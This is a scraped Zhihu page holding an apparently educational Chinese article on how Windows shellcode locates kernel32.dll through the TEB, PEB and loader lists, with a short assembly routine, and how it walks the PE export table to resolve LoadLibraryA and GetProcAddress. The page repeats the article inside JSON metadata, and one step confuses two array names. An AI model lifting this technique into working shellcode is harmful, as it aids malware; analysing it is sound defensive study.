手机中了2个手机受到恶意代码攻击的攻击怎么办,急!!!

恶意代码中的Shellcode分析Part 2这段代码中,mov eax,[fs:eax+0x30]这句使用FS寄存器去访问TEB,然后获取指向PEB的指针,为了区别Win9X系统和WinNT系统,这里写了一个js .kernel32_9x来做区分用来测试PEB指针的最高有效位是不是被设置了,在WinNT里面,PEB指针的最高有效位通常没有被设置,因为高端内存地址是为操作系统保留的,使用副还未来识别操作系统的方法在使用特殊的引导选项的系统中会失败,这个选项是用户层/内核层内存划分发生在0xC0000000H而不是0x8000000H中,所以这地方要设置一个跳转,用来防止死循环。继续执行到mov eax,[eax+0x0c]这个地方来获取PEB_LDR_DATA,我们假设运行在Vista之前的系统,接着就会顺理成章的获取InInitializationOrderLinks链表下面第二个LDR_DATA_TABLE_ENTRY,并且会返回DllBase域。0x05 解析PE文件并导出数据通过上面简单的例子,我们成功找到了kernel32.dll的基地址,现在我们就需要解析kernel32.dll来找到他导出的符号,这里面同样涉及到几个结构体用来做内存追踪。当定义一个文件内的位置的时候,PE使用RVA虚拟地址也就是相对内存中PE映像的偏移值来吧得到的结果转换成一个有效的指针。导出的数据存放在IMAGE_EXPORT_DIRECTORY中,一个相对IMAGE_EXPORT_DIRECTORY的RVA被保存在IMAGR_OPTIONAL_HEADER末尾部分的IMAGE_DATA_DIRECTORY结构体数组中,IMAGE_DATA_DIRECTORY数组具体位置取决于这PE文件是32位的还是64位的,一般情况下,我们认为shellcode在32位环境下运行,所以编译时候从PE特征值域到这个目录数组的正确偏移,上公式:sizeof(PE_Signature) + sizeof(IMAGE_FILE_HEADER) + sizeof(IMAGE_OPTIONAL_HEADER) = 120Byte
我们用一个图来表示IMAGE_EXPORT_DIRECTORY结构体中的相对域:上面这个图中,AddressOfFunctions是一个RVA的数组,我们为了使用这个数组,这段shellcode必须得映射导出函数名到这个序号,并且shellcode的确是使用AddressOfNames和AddressOfNameOrdinals来这么干的,这两个数组同时存在,很轻松的就能看到这两个数组是直接相关的,AddressOfNames是一个32位的RVA数组,指向富豪命的字符串,AddressOfNameOrdinals是一个16位序号的数组,当一个给定的数组索引idx,AddressOfNames[idx]处的符号对应的导出序号就在AddressOfNames[idx]处,AddressOfNames数组是按照字母顺序排列的,这样的话写一个二分搜索就能够很快的找到一个给定的字符串,虽然这么说,大多数shellcode还是简单的线性查找。其实我们按照以下的步骤就可以找到一个符号的导出地址:1.迭代AddressOfNames数组查看每个char *项目,然后把需要的符号的字符串做一个比较,直到找到一个匹配的项目,我们把这个AddressOfNames的索引称之为AddressOfNames iName。2.在AddressOfNameOrdinals数组中使用IName索引,得到的值就是IOrdinal值。3.使用IOrdinal索引到AddressOfFunctions数组,获得到的值就是被导出符号的RVA然后把这个值返回给请求者。留着坑剩下的填。。。。。15收藏分享举报文章被以下专栏收录{&debug&:false,&apiRoot&:&&,&paySDK&:&https:\u002F\u002Fpay.zhihu.com\u002Fapi\u002Fjs&,&wechatConfigAPI&:&\u002Fapi\u002Fwechat\u002Fjssdkconfig&,&name&:&production&,&instance&:&column&,&tokens&:{&X-XSRF-TOKEN&:null,&X-UDID&:null,&Authorization&:&oauth c3cef7c66aa9e6a1e3160e20&}}{&database&:{&Post&:{&&:{&isPending&:false,&contributes&:[{&sourceColumn&:{&lastUpdated&:,&description&:&&,&permission&:&COLUMN_PUBLIC&,&memberId&:,&contributePermission&:&COLUMN_PUBLIC&,&translatedCommentPermission&:&all&,&canManage&:true,&intro&:&&,&urlToken&:&binandhex&,&id&:45456,&imagePath&:&v2-2b7b1c497e755b50ff7cb.jpg&,&slug&:&binandhex&,&applyReason&:&0&,&name&:&关于二进制和查户口的那些不得不说的事儿&,&title&:&关于二进制和查户口的那些不得不说的事儿&,&url&:&https:\u002F\u002Fzhuanlan.zhihu.com\u002Fbinandhex&,&commentPermission&:&COLUMN_ALL_CAN_COMMENT&,&canPost&:true,&created&:,&state&:&COLUMN_NORMAL&,&followers&:587,&avatar&:{&id&:&v2-2b7b1c497e755b50ff7cb&,&template&:&https:\u002F\u002Fpic2.zhimg.com\u002F{id}_{size}.jpg&},&activateAuthorRequested&:false,&following&:false,&imageUrl&:&https:\u002F\u002Fpic2.zhimg.com\u002Fv2-2b7b1c497e755b50ff7cb_l.jpg&,&articlesCount&:19},&state&:&accepted&,&targetPost&:{&titleImage&:&&,&lastUpdated&:,&imagePath&:&&,&permission&:&ARTICLE_PUBLIC&,&topics&:[383,],&summary&:&今天趁着女朋友加班,把上周没填完的坑补一下,这次篇幅不太长,只讲了符号解析的问题。 0x04 手动符号解析其实呢shellcode作为一个获得执行二进制代码块,一旦执行的话,肯定得搞个什么大新闻出来,这种大新闻一般就是通过API和系统进行交互操作。但是在Wi…&,&copyPermission&:&ARTICLE_COPYABLE&,&translatedCommentPermission&:&censor&,&likes&:0,&origAuthorId&:0,&publishedTime&:&T21:37:51+08:00&,&sourceUrl&:&&,&urlToken&:,&id&:3758324,&withContent&:false,&slug&:,&bigTitleImage&:false,&title&:&恶意代码中的Shellcode分析Part 2&,&url&:&\u002Fp\u002F&,&commentPermission&:&ARTICLE_NEED_REVIEW_COMMENT&,&snapshotUrl&:&&,&created&:,&comments&:0,&columnId&:45456,&content&:&&,&parentId&:0,&state&:&ARTICLE_PUBLISHED&,&imageUrl&:&&,&author&:{&bio&:&喜欢把打黑产编成故事讲给大家听的安全研究员&,&isFollowing&:false,&hash&:&f4bbcf2d2a35e92c5c5d22b&,&uid&:112400,&isOrg&:false,&slug&:&elknot&,&isFollowed&:false,&description&:&我已委托“维权骑士”(http:\u002F\u002Frightknights.com)为我的文章进行维权行动\n\nSenior Security Researcher of Qihoo 360 ESG\nSpeaker on ISC2017, DEFCON Group\nB.S. Degree in Computer Science\nFocus on Applications of Threat Intelligence Hierarchy and Advanced Threat Analysis Research&,&name&:&elknot&,&profileUrl&:&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002Felknot&,&avatar&:{&id&:&v2-1ff21fd0afdaf9da0a1c12&,&template&:&https:\u002F\u002Fpic2.zhimg.com\u002F{id}_{size}.jpg&},&isOrgWhiteList&:false,&isBanned&:false},&memberId&:,&excerptTitle&:&&,&voteType&:&ARTICLE_VOTE_CLEAR&},&id&:792574}],&title&:&恶意代码中的Shellcode分析Part 2&,&author&:&elknot&,&content&:&\u003Cp\u003E今天趁着女朋友加班,把上周没填完的坑补一下,这次篇幅不太长,只讲了符号解析的问题。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E0x04 手动符号解析\u003C\u002Fp\u003E\u003Cp\u003E其实呢shellcode作为一个获得执行二进制代码块,一旦执行的话,肯定得搞个什么大新闻出来,这种大新闻一般就是通过API和系统进行交互操作。但是在Windows下面,shellcode不能使用Windows加载器来确保所有需要的库被加载而且保证可用,同事呢也不能确认所有的外部符号依赖项都能被解决。所以这时候,shellcode必须自己能找到这个符号,上一篇文章中shellcode使用硬编码的地址来寻找符号,这个方法其实不算太好,因为操作系统是会升级的,这样的话shellcode是用硬编码可能会随着系统安装补丁而失效,所以shellcode应该动态的区定位这些函数,所以这里就会遇到两个函数:LoadLibraryA和GetProcAddress函数。\u003C\u002Fp\u003E\u003Cp\u003E先来说下这两个函数的意义:LoadLibraryA是加载指定的库,并返回一个句柄。而GetProcAddress函数则在库导出表中查找指定的符号名和序号。\u003C\u002Fp\u003E\u003Cp\u003E如果说shellcode有这两个函数的访问权限,那么他就可以干任意可怕的事儿了,需要注意的是,这两个函数都是从kernel32.dll文件中导出的,所以shellcode应该去完成以下两件事情:从内存中找到kernel32.dll的位置,接着解析kernel32.dll的PE文件,并且搜索这两个函数。\u003C\u002Fp\u003E\u003Cp\u003E那么我们该如何找到kernel32.dll呢,我们会跟踪一系列没有文档化的结构体,也就是msdn没有tellyou的东西,微软爸爸称之为Reserved的字节数组,这个会随着操作系统的迭代而修改。那么我们如何去找到kernel32.dll的基地址呢?我们可以尝试遍历结构体的方法。\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cnoscript\u003E\u003Cimg src=\&https:\u002F\u002Fpic3.zhimg.com\u002Fv2-8dddaf4d2_b.jpg\& data-rawwidth=\&2100\& data-rawheight=\&1056\& class=\&origin_image zh-lightbox-thumb\& width=\&2100\& data-original=\&https:\u002F\u002Fpic3.zhimg.com\u002Fv2-8dddaf4d2_r.jpg\&\u003E\u003C\u002Fnoscript\u003E\u003Cimg src=\&data:image\u002Fsvg+utf8,&svg%20xmlns='http:\u002F\u002Fwww.w3.org\u002FFsvg'%20width='2100'%20height='1056'&&\u002Fsvg&\& data-rawwidth=\&2100\& data-rawheight=\&1056\& class=\&origin_image zh-lightbox-thumb lazy\& width=\&2100\& data-original=\&https:\u002F\u002Fpic3.zhimg.com\u002Fv2-8dddaf4d2_r.jpg\& data-actualsrc=\&https:\u002F\u002Fpic3.zhimg.com\u002Fv2-8dddaf4d2_b.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cp\u003E进程从TEB结构体开始,它的地址我们可以从FS段寄存器中访问到,TEB中偏移0x30是指向PEB的指针,PEB中偏移0xc是指向PEB_LDR_DATA结构体的指针,他是包含三个链接LDR_DATA_TABLE结构的一个双向链表,而且没个加载的模块都有一个,在Kernel32.dll中,DllBase域其实就是我们正在查找的一个值。三个LIST_ENTRY结构体按照不同的词语,按名字将LDR_DATA_TABLE项连接到一起,一般情况来说InInitializationOrderLinks链表会被shellcode追踪,稍微有点年头的Vista之前的系统里面,kernel32.dll是直接被第二个初始化的动态链接库,第一个相信我不说你也知道,就是ntdll.dll。但是Win7开始,kernel32.dll不再是第二个了,所以以上说的方法不会奏效了,我们在移植shellcode的时候要去检查UNICODE_STRING类里面的FullDllName域,看看名字是不是kernel32.dll,如果是的话,就说明了这个模块是kernel32.dll。当遍历这个LIST_ENTRY结构体的时候,Flink指针指向下一个LDR_DATA_TABLE结构体里面的LIST_ENTRY结构,Blink指针指向上一个LDR_DATA_TABLE结构体里面的LIST_ENTRY结构,这里有点意思了,因为当追踪InInitializationOrderLinks获取kernel32.dll的LDR_DATA_TABLE_ENTRY时,你只需要+8Byte到这个指针就能够获取到DllBase,而不是0x18,如果这个指针指向结构体的开头的话,你就老老实实的来吧。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E我们用一段代码来实现查找Kernel32.dll的基地址:\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-abap\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003E__stdcall\u003C\u002Fspan\u003E \u003Cspan class=\&nv\&\u003EDWORD\u003C\u002Fspan\u003E \u003Cspan class=\&nv\&\u003EfindKernel32Base\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E(\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Evoid\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E);\u003C\u002Fspan\u003E\n\u003Cspan class=\&nv\&\u003EfindKernel32Base\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E:\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Epush\u003C\u002Fspan\u003E
\u003Cspan class=\&nv\&\u003Eesi\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Exor\u003C\u002Fspan\u003E
\u003Cspan class=\&nv\&\u003Eeax\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E \u003Cspan class=\&nv\&\u003Eeax\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Emov\u003C\u002Fspan\u003E
\u003Cspan class=\&nv\&\u003Eeax\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E[\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Efs\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E:\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Eeax\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E0\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Ex30\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E]\u003C\u002Fspan\u003E
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EEAX\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E寄存器会获取\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EPEB\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E的指针\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Etest\u003C\u002Fspan\u003E
\u003Cspan class=\&nv\&\u003Eeax\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E \u003Cspan class=\&nv\&\u003Eeax\u003C\u002Fspan\u003E
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E如果说高位的话就是\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EWin9X\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E系统\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Ejs\u003C\u002Fspan\u003E
\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Ekernel32_9x\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Emov\u003C\u002Fspan\u003E
\u003Cspan class=\&nv\&\u003Eeax\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E[\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Eeax\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E0\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Ex0c\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E]\u003C\u002Fspan\u003E
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EEAX\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E寄存器找到了\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EPEB_LDR_DATPEB\u003C\u002Fspan\u003E
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003E_LDR_DATA\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E的指针,\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EESI\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E寄存器找到\u003C\u002Fspan\u003E
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E了第一个\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003ELDR_DATA_TABLE_ENTRY\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\n
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EInInitializationOrderLinks\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\n
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EFlink\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E指针\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Emov\u003C\u002Fspan\u003E
\u003Cspan class=\&nv\&\u003Eesi\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E[\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Eeax\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E0\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Ex1c\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E]\u003C\u002Fspan\u003E
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E这时候\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EEAX\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E获得了第二个\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003ELDR_DATA_\u003C\u002Fspan\u003E\n
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003ETABLE_ENTRY\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EInInitializatio\u003C\u002Fspan\u003E\n
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EnOrderLinks\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EFlink\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E指针\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Elodsd\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Emov\u003C\u002Fspan\u003E
\u003Cspan class=\&nv\&\u003Eeax\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E,\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E[\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Eeax\u003C\u002Fspan\u003E\u003Cspan class=\&o\&\u003E+\u003C\u002Fspan\u003E\u003Cspan class=\&mi\&\u003E8\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E]\u003C\u002Fspan\u003E
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EEAX\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E寄存器找到了\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003ELDR_DATA_TABLE\u003C\u002Fspan\u003E\n
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003E_ENTRY\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EDllBase\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Ejmp\u003C\u002Fspan\u003E
\u003Cspan class=\&nv\&\u003Enear\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Efinished\u003C\u002Fspan\u003E\n\n\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Ekernel32_9x\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E:\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Ejmp\u003C\u002Fspan\u003E
\u003Cspan class=\&nv\&\u003Enear\u003C\u002Fspan\u003E \u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Ekernel32_9x\u003C\u002Fspan\u003E
\u003Cspan class=\&p\&\u003E;\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003EWin9x\u003C\u002Fspan\u003E\u003Cspan class=\&err\&\u003E系统这么干会死循环\u003C\u002Fspan\u003E\n\n\u003Cspan class=\&p\&\u003E.\u003C\u002Fspan\u003E\u003Cspan class=\&nv\&\u003Efinished\u003C\u002Fspan\u003E\u003Cspan class=\&p\&\u003E:\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Epop\u003C\u002Fspan\u003E
\u003Cspan class=\&nv\&\u003Eesi\u003C\u002Fspan\u003E\n
\u003Cspan class=\&nv\&\u003Eret\u003C\u002Fspan\u003E\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E这段代码中,mov eax,[fs:eax+0x30]这句使用FS寄存器去访问TEB,然后获取指向PEB的指针,为了区别Win9X系统和WinNT系统,这里写了一个js .kernel32_9x来做区分用来测试PEB指针的最高有效位是不是被设置了,在WinNT里面,PEB指针的最高有效位通常没有被设置,因为高端内存地址是为操作系统保留的,使用副还未来识别操作系统的方法在使用特殊的引导选项的系统中会失败,这个选项是用户层\u002F内核层内存划分发生在0xC0000000H而不是0x8000000H中,所以这地方要设置一个跳转,用来防止死循环。继续执行到mov eax,[eax+0x0c]这个地方来获取PEB_LDR_DATA,我们假设运行在Vista之前的系统,接着就会顺理成章的获取InInitializationOrderLinks链表下面第二个LDR_DATA_TABLE_ENTRY,并且会返回DllBase域。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E0x05 解析PE文件并导出数据\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E通过上面简单的例子,我们成功找到了kernel32.dll的基地址,现在我们就需要解析kernel32.dll来找到他导出的符号,这里面同样涉及到几个结构体用来做内存追踪。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E当定义一个文件内的位置的时候,PE使用RVA虚拟地址也就是相对内存中PE映像的偏移值来吧得到的结果转换成一个有效的指针。导出的数据存放在IMAGE_EXPORT_DIRECTORY中,一个相对IMAGE_EXPORT_DIRECTORY的RVA被保存在IMAGR_OPTIONAL_HEADER末尾部分的IMAGE_DATA_DIRECTORY结构体数组中,IMAGE_DATA_DIRECTORY数组具体位置取决于这PE文件是32位的还是64位的,一般情况下,我们认为shellcode在32位环境下运行,所以编译时候从PE特征值域到这个目录数组的正确偏移,上公式:\u003C\u002Fp\u003E\u003Cdiv class=\&highlight\&\u003E\u003Cpre\u003E\u003Ccode class=\&language-text\&\u003E\u003Cspan\u003E\u003C\u002Fspan\u003Esizeof(PE_Signature) + sizeof(IMAGE_FILE_HEADER) + sizeof(IMAGE_OPTIONAL_HEADER) = 120Byte\n\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003C\u002Fdiv\u003E\u003Cp\u003E我们用一个图来表示IMAGE_EXPORT_DIRECTORY结构体中的相对域:\u003C\u002Fp\u003E\u003Cfigure\u003E\u003Cnoscript\u003E\u003Cimg src=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-55fd0ff80bfce_b.jpg\& data-rawwidth=\&1592\& data-rawheight=\&1222\& class=\&origin_image zh-lightbox-thumb\& width=\&1592\& data-original=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-55fd0ff80bfce_r.jpg\&\u003E\u003C\u002Fnoscript\u003E\u003Cimg src=\&data:image\u002Fsvg+utf8,&svg%20xmlns='http:\u002F\u002Fwww.w3.org\u002FFsvg'%20width='1592'%20height='1222'&&\u002Fsvg&\& data-rawwidth=\&1592\& data-rawheight=\&1222\& class=\&origin_image zh-lightbox-thumb lazy\& width=\&1592\& data-original=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-55fd0ff80bfce_r.jpg\& data-actualsrc=\&https:\u002F\u002Fpic1.zhimg.com\u002Fv2-55fd0ff80bfce_b.jpg\&\u003E\u003C\u002Ffigure\u003E\u003Cp\u003E上面这个图中,AddressOfFunctions是一个RVA的数组,我们为了使用这个数组,这段shellcode必须得映射导出函数名到这个序号,并且shellcode的确是使用AddressOfNames和AddressOfNameOrdinals来这么干的,这两个数组同时存在,很轻松的就能看到这两个数组是直接相关的,AddressOfNames是一个32位的RVA数组,指向富豪命的字符串,AddressOfNameOrdinals是一个16位序号的数组,当一个给定的数组索引idx,AddressOfNames[idx]处的符号对应的导出序号就在AddressOfNames[idx]处,AddressOfNames数组是按照字母顺序排列的,这样的话写一个二分搜索就能够很快的找到一个给定的字符串,虽然这么说,大多数shellcode还是简单的线性查找。其实我们按照以下的步骤就可以找到一个符号的导出地址:\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E1.迭代AddressOfNames数组查看每个char *项目,然后把需要的符号的字符串做一个比较,直到找到一个匹配的项目,我们把这个AddressOfNames的索引称之为AddressOfNames iName。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E2.在AddressOfNameOrdinals数组中使用IName索引,得到的值就是IOrdinal值。\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E3.使用IOrdinal索引到AddressOfFunctions数组,获得到的值就是被导出符号的RVA然后把这个值返回给请求者。\u003C\u002Fp\u003E\u003Cp\u003E\u003Cbr\u003E\u003C\u002Fp\u003E\u003Cp\u003E留着坑剩下的填。。。。。\u003C\u002Fp\u003E&,&updated&:new Date(&T13:37:51.000Z&),&canComment&:false,&commentPermission&:&review&,&commentCount&:0,&collapsedCount&:0,&likeCount&:15,&state&:&published&,&isLiked&:false,&slug&:&&,&isTitleImageFullScreen&:false,&rating&:&none&,&titleImage&:&&,&links&:{&comments&:&\u002Fapi\u002Fposts\u002F2Fcomments&},&reviewers&:[],&topics&:[{&url&:&https:\u002F\u002Fwww.zhihu.com\u002Ftopic\u002F&,&id&:&&,&name&:&逆向工程&},{&url&:&https:\u002F\u002Fwww.zhihu.com\u002Ftopic\u002F&,&id&:&&,&name&:&信息安全&},{&url&:&https:\u002F\u002Fwww.zhihu.com\u002Ftopic\u002F&,&id&:&&,&name&:&计算机病毒&}],&adminClosedComment&:false,&titleImageSize&:{&width&:0,&height&:0},&href&:&\u002Fapi\u002Fposts\u002F&,&excerptTitle&:&&,&column&:{&slug&:&binandhex&,&name&:&关于二进制和查户口的那些不得不说的事儿&},&tipjarState&:&inactivated&,&annotationAction&:[],&sourceUrl&:&&,&pageCommentsCount&:0,&hasPublishingDraft&:false,&snapshotUrl&:&&,&publishedTime&:&T21:37:51+08:00&,&url&:&\u002Fp\u002F&,&lastestLikers&:[{&bio&:&\&这是一个测试。\&s&,&isFollowing&:false,&hash&:&28e02fc6d82de83b3511&,&uid&:00,&isOrg&:false,&slug&:&CXuesong&,&isFollowed&:false,&description&:&电力系统研究生\n知乎咸鱼\n喜欢 Warriors 和 Guardians of Ga'Hoole\n213的日常: http:\u002F\u002Fcxuesong.com&,&name&:&Siam Chen&,&profileUrl&:&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002FCXuesong&,&avatar&:{&id&:&26db889e2b6c60b05e65c2&,&template&:&https:\u002F\u002Fpic2.zhimg.com\u002F{id}_{size}.jpg&},&isOrgWhiteList&:false,&isBanned&:false},{&bio&:&Dlive@Dubhe&,&isFollowing&:false,&hash&:&714dfc6ca8d55b153e76&,&uid&:88,&isOrg&:false,&slug&:&null-19-23&,&isFollowed&:false,&description&:&&,&name&:&Dlive&,&profileUrl&:&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002Fnull-19-23&,&avatar&:{&id&:&76e50afef5de8e70d69fe529f8376578&,&template&:&https:\u002F\u002Fpic3.zhimg.com\u002F{id}_{size}.jpg&},&isOrgWhiteList&:false,&isBanned&:false},{&bio&:&&,&isFollowing&:false,&hash&:&d5a291be066cba323dbe07e&,&uid&:72,&isOrg&:false,&slug&:&nie-xin-ming&,&isFollowed&:false,&description&:&每个人都用力的活着,但好多人都觉的他死了&,&name&:&聂心明&,&profileUrl&:&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002Fnie-xin-ming&,&avatar&:{&id&:&v2-425b3da07ffaed597e80&,&template&:&https:\u002F\u002Fpic1.zhimg.com\u002F{id}_{size}.jpg&},&isOrgWhiteList&:false,&isBanned&:false},{&bio&:&vscode真鸡儿好用~&,&isFollowing&:false,&hash&:&22b9a1cd85c111bbcf835da&,&uid&:12,&isOrg&:false,&slug&:&ji-xiang-si-meng-xiong&,&isFollowed&:false,&description&:&diy必备\nhttp:\u002F\u002Fwww.coolermaster.com\u002Fpower-supply-calculator\u002F\nhttp:\u002F\u002Fgpu.userbenchmark.com\u002FCompare\nhttps:\u002F\u002Fark.intel.com\u002F&,&name&:&吉祥寺猛熊&,&profileUrl&:&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002Fji-xiang-si-meng-xiong&,&avatar&:{&id&:&c4cdb9166d54cfae2dca3&,&template&:&https:\u002F\u002Fpic1.zhimg.com\u002F{id}_{size}.jpg&},&isOrgWhiteList&:false,&isBanned&:false},{&bio&:null,&isFollowing&:false,&hash&:&a38f7b1f1d0ba7c95eb005&,&uid&:603800,&isOrg&:false,&slug&:&sammiler&,&isFollowed&:false,&description&:&点踩和反对,没有帮助是我手机的锅&,&name&:&SamMiler&,&profileUrl&:&https:\u002F\u002Fwww.zhihu.com\u002Fpeople\u002Fsammiler&,&avatar&:{&id&:&v2-848fcc8afaee22&,&template&:&https:\u002F\u002Fpic4.zhimg.com\u002F{id}_{size}.jpg&},&isOrgWhiteList&:false,&isBanned&:false}],&summary&:&\u003Cimg src=\&http:\u002F\u002Fpic3.zhimg.com\u002Fv2-8dddaf4d2_200x112.png\& data-rawwidth=\&2100\& data-rawheight=\&1056\& class=\&origin_image inline-img zh-lightbox-thumb\& data-original=\&http:\u002F\u002Fpic3.zhimg.com\u002Fv2-8dddaf4d2_r.png\&\u003E今天趁着女朋友加班,把上周没填完的坑补一下,这次篇幅不太长,只讲了符号解析的问题。 0x04 